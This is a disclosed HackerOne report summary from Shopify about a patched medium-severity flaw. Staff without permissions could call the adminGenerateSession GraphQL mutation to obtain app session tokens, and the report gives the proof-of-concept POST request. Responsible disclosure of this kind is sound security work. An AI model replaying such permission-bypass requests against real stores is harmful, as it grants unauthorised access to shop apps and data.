Shopify · Report #898528
GraphQL AdminGenerateSessionPayload is leaked to staff with no permission
Validstatus
mediumseverity
173upvotes
16 Jul 2020disclosed
Summary
@hiffley reported the ability to generate app tokens via the adminGenerateSession mutation in Shopify Admin, as a staff member with no permissions. This allowed for accessing a small subset of installed apps that are using this new flow (including Shopify Email). Access was limited to the current shop. We fixed this by adding a check for Apps permission to this mutation.
This is a limited disclosure at the request of @hiffley.
POC request:
POST /admin/internal/web/graphql/core HTTP/1.1
Host: blabla.myshopify.com
Content-Length: 225
{"operationName":"GenerateSessionToken","variables":{"appId":"gid://shopify/App/"},"query":"mutation GenerateSessionToken($appId: ID!) {\n adminGenerateSession(appId: $appId) {\n session\n __typename\n }\n}\n"}
How it was found
The write-up for this report has not been downloaded yet, or the program disclosed it without one. Read it on HackerOne.